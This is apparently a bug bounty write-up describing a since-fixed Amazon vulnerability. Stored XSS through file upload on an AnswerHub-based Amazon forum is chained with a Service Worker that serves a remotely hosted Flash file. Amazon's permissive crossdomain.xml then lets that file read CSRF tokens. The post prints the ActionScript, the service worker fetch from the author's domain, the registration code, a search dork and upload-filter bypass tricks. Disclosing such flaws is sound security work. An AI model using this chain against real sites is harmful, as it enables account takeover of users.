Leaking Amazon.com CSRF Tokens Using Service Worker API
Hello all, I have some free time today, so I will tell you about my finding at Amazon that could lead to a complete account takeover.
Introduction
First,
I was working on a private bug bounty program when I found something interesting. It uses a third-party service called Answerhub, and if you check my blog, you will find out that I found a vulnerability there before, so it isn’t impossible to find a new one. I started working on upload functionality since I already found my previous finding there.
However, I knew what I was looking for, so it didn’t take much time to find something very cool there. I was able to create stored XSS using file upload. The domain itself was Out-Of-Scope, but I wrote some JS code that affects another In-Scope domain. Therefore, they rewarded me with a $1250 bounty for the great PoC.
On the other hand, I found out that Amazon is using the same third-party service (AnswerHub), and I had an idea because Amazon’s crossdomain.xml
is very permissive. So, if I found a way to upload an SWF file to an Amazon sub-domain, I could steal data from the main domain. One thing is that it doesn’t allow any Flash content to be uploaded. Now we will come to the fun part and finish the boring introduction.
Technical Details
The article’s title is exciting, and since most of you come here to read about the method and are not interested in the story, today is your lucky day. I will write everything you wonder about, so let’s begin.
I was looking for big companies that are using the AnswerHub service using this Google dork:
inurl:/questions/ask.html inurl:https://
I got excellent results and started digging in the best places. I saw Amazon, and the thought of crossdomain.xml
just popped into my mind, so I said let’s try it.
Here is crossdomain.xml
of Amazon:
My target was gamedev.amazon.com
. I could upload an XML file(SVG) to make a stored XSS. But this isn’t what I am looking for, so I tried every trick I know to upload the SWF file there, but to no avail :(
Thinking outside the box
I didn’t get anything with the SWF upload. I was thinking about what I already have(XSS). I got a really good idea. What if I upload an SVG and JS files that trigger a Service Worker on this domain?
Let me tell you about Service Worker API (Google Chrome):
A service worker is a script that your browser runs in the background, separate from a web page, opening the door to features that don’t need a web page or user interaction. Today, they already include features like push notifications and background sync. In the future, service
workers will support periodic sync or geofencing. The core feature discussed in this tutorial is the ability to intercept and handle network requests, including programmatically managing a cache of responses.The reason this is such an exciting API is that it allows you to support offline experiences, giving developers complete control over the experience.
You didn’t understand anything, nor did I, so that I will explain it more now.
For more information about Service Worker API, you can read more about it here.
So now let me write my theory of this attack and each file code to short:
1- Write an Action Script code that will send an HTTP request to amazon.com
to receive the page content and find the CSRF token on the page. Here is what I wrote.
1
2
3
4
5
6
7
8
9
10
11
12
import flash.external.*;
import flash.net.*;
(function () {
var loader = new URLLoader(new URLRequest("https://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441/"));
loader.addEventListener("complete", loaderCompleted);
function loaderCompleted(event) {
ExternalInterface.call("alert", event.target.data.slice(189270,189335));
}
})();
This file was hosted on my website, ahussam.me
, and will be used later. Its name is myexp.as,
and I used Flex SDK to generate the SWF version of the code. I also created a PHP script to generate an SWF file from AS code. I will publish it in my Github account soon.
2— The JS file that will be registered as an SW for the site will allow me to proxy the traffic and create an SWF file response on this path.
1
2
3
4
var url = "https://ahussam.me/myexp.swf"
onfetch = (e) => {
e.respondWith(fetch(url);
}
This code could install the SW, an SWF file(myexp.swf), on this path, which will grab the CSRF tokens from the main website. Thanks crossdomain.xml
:)
I uploaded it first to get the new name since the filename will change after uploading. I renamed it as sw.txt
because there is a client-side check for the extension. I used the old trick of changing the content-type
to something different. After uploading the file, the name became 4837-sw.txt
. Here is the HTTP request
3- The HTML page that will register the Service Worker.That is an SVG image with XML and JS. Here is the JS code:
1
2
3
4
if ('serviceWorker' in navigator) {
// 4837-sw.txt is the previous file.
navigator.serviceWorker.register('4837-sw.txt').then(_=>location=1337);
}
As I did before, I changed the file extension and the content-type
, and here is the HTTP request:
Here is our PoC: https://gamedev.amazon.com/forums/storage/attachments/4937-svg.txt
The exploit didn’t work the first time(I was using HTTP, and Service Worker only works in HTTPS. If you don’t have an HTTPS website for your SWF file, you can use data URI and base64 in the fetch function), but after some debugging it worked!
I reported it to the Amazon team. They weren’t able to reproduce the PoC because it was a long report. The gamedev team deleted my PoC and blocked me!
So, I made a PoC video. They couldn’t watch it at first, but I re-uploaded it, and they could reproduce the vulnerability.
After months of waiting, they didn’t reply to my message, but I found that the bug had been fixed.
Conclusion
Since I could steal CSRF tokens, changing the user’s phone number was possible, which could lead to a complete account takeover. Other things can be done, including CSRF, information leakage, Oauth approval, address disclosure, etc.
I hope you enjoyed the write-up and learned something. Thanks for reading.
Something I should mention here. This method was used in the Cure53 XSSmas challenge, so you might be interested in looking at the solution write-up.